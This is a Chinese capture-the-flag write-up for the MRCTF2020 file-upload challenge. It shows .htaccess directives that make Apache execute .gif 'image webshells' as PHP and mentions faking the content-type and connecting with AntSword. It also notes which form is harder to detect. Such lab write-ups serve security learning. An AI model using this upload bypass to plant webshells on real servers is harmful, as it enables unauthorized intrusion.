资讯专栏INFORMATION COLUMN

[MRCTF2020]你传你呢

sunnyxd / 508人阅读

摘要:提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过的指令来设置。

0x00 初试

一开始传常规jpg,png啥的都给我封了

可能限制大小了??很妖 不太理解
由于buu给的链接挂了,所以也看不到源码了…

常规知识点 .htaccess文件解析漏洞

原理

.htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess重写解析规则 —>上传图片马 解析为php

语法

(推荐使用第二种)
第一种、虽然好用,但是会误伤其他正常文件,容易被发现:

<IfModule mime_module>AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行</IfModule>

第二种、精确控制能被解析成php代码的文件,不容易被发现:

<FilesMatch "evil.gif">SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行</FilesMatch>

第三种、同1没太大区别:

<IfModule mime_module>AddType application/x-httpd-php .gif</IfModule>

参考

https://bbs.huaweicloud.com/blogs/detail/289224

0x01 复现

.htaccess
这么写更精确定位到图片马

上传时改一下content-type

上传图片马


顺序无所谓
蚁剑连一下 done!

0x02 rethink

联动复习一下SUCTF CheckIn
那一次是上传.user.ini
不适用于本题,因为它其中利用到的预加载的前提是目录下已存在正常php文件

而.htaccess是直接改了解析规则
感兴趣的可以再深入了解一下
关于.htaccess和.user.ini

https://blog.csdn.net/nigo134/article/details/119043586

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119921.html

相关文章

  • [BUUCTF][MRCTF2020]部分web wp

    摘要:你传你呢学习链接的使用技巧总结测试发现过滤了后缀中间件是可以上传图片马。 [MRCTF2020]你传你🐎呢 学习链接:[CTF].ht...

    番茄西红柿 评论0 收藏2637
  • 原生js滚动到底部加载数据和下拉刷新 Scrollload

    摘要:原文地址初衷如今移动端站点越来越多,滚动到底部加载数据和下拉刷新的需求非常的常见,即使现在很多站点也会有这样的需求,比如百度首页就有。 原文地址 https://github.com/fa-ge/Scrollload/blob/master/README.md 初衷 如今移动端站点越来越多,滚动到底部加载数据和下拉刷新的需求非常的常见,即使现在很多pc站点也会有这样的需求,比如百度首页...

    HollisChuang 评论0 收藏0
  • iOS开发年薪30W+,这样做就好!【经验篇】

    摘要:接受自己并不完美的一面。作为一枚程序员还想着安逸,这就是你的不对了。互联网技术日新月异,程序员并不是只掌握一项技术就能够高枕无忧了。第三步,计划落地。你放弃学习,就等于慢性自杀。 一般说来,刚毕业,活力四射,总是有一股子冲劲,心里也梦,想把不懂的东西都先弄明白,充实而忙碌。就算每天需要占用吃饭、睡觉的时间去学习与努力,也不会觉得累,总之时刻都会激情高昂的样子。 后来,工作两三年,有足够...

    Anonymous1 评论0 收藏0
  • 基于JS快速生成各种网格布局工具Grid介绍

    摘要:看了几篇博客,了解了它的几个常用属性后,可以快速生成一个网格布局。同样是出于使用动态生成布局的需要,诞生了这个小工具。 作者:云荒杯倾 写在前面 这两天了解了一下css的grid布局,发现确实很好用。看了几篇博客,了解了它的几个常用属性后,可以快速生成一个网格布局。相较于传统的float、定位等显得更成体系,更规范,不需要一些hack做法。 虽然grid布局已经很好,前端工程师中有一些...

    scwang90 评论0 收藏0
  • 基于JS快速生成各种网格布局工具Grid介绍

    摘要:看了几篇博客,了解了它的几个常用属性后,可以快速生成一个网格布局。同样是出于使用动态生成布局的需要,诞生了这个小工具。 作者:云荒杯倾 写在前面 这两天了解了一下css的grid布局,发现确实很好用。看了几篇博客,了解了它的几个常用属性后,可以快速生成一个网格布局。相较于传统的float、定位等显得更成体系,更规范,不需要一些hack做法。 虽然grid布局已经很好,前端工程师中有一些...

    waltr 评论0 收藏0

发表评论

0条评论

sunnyxd

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<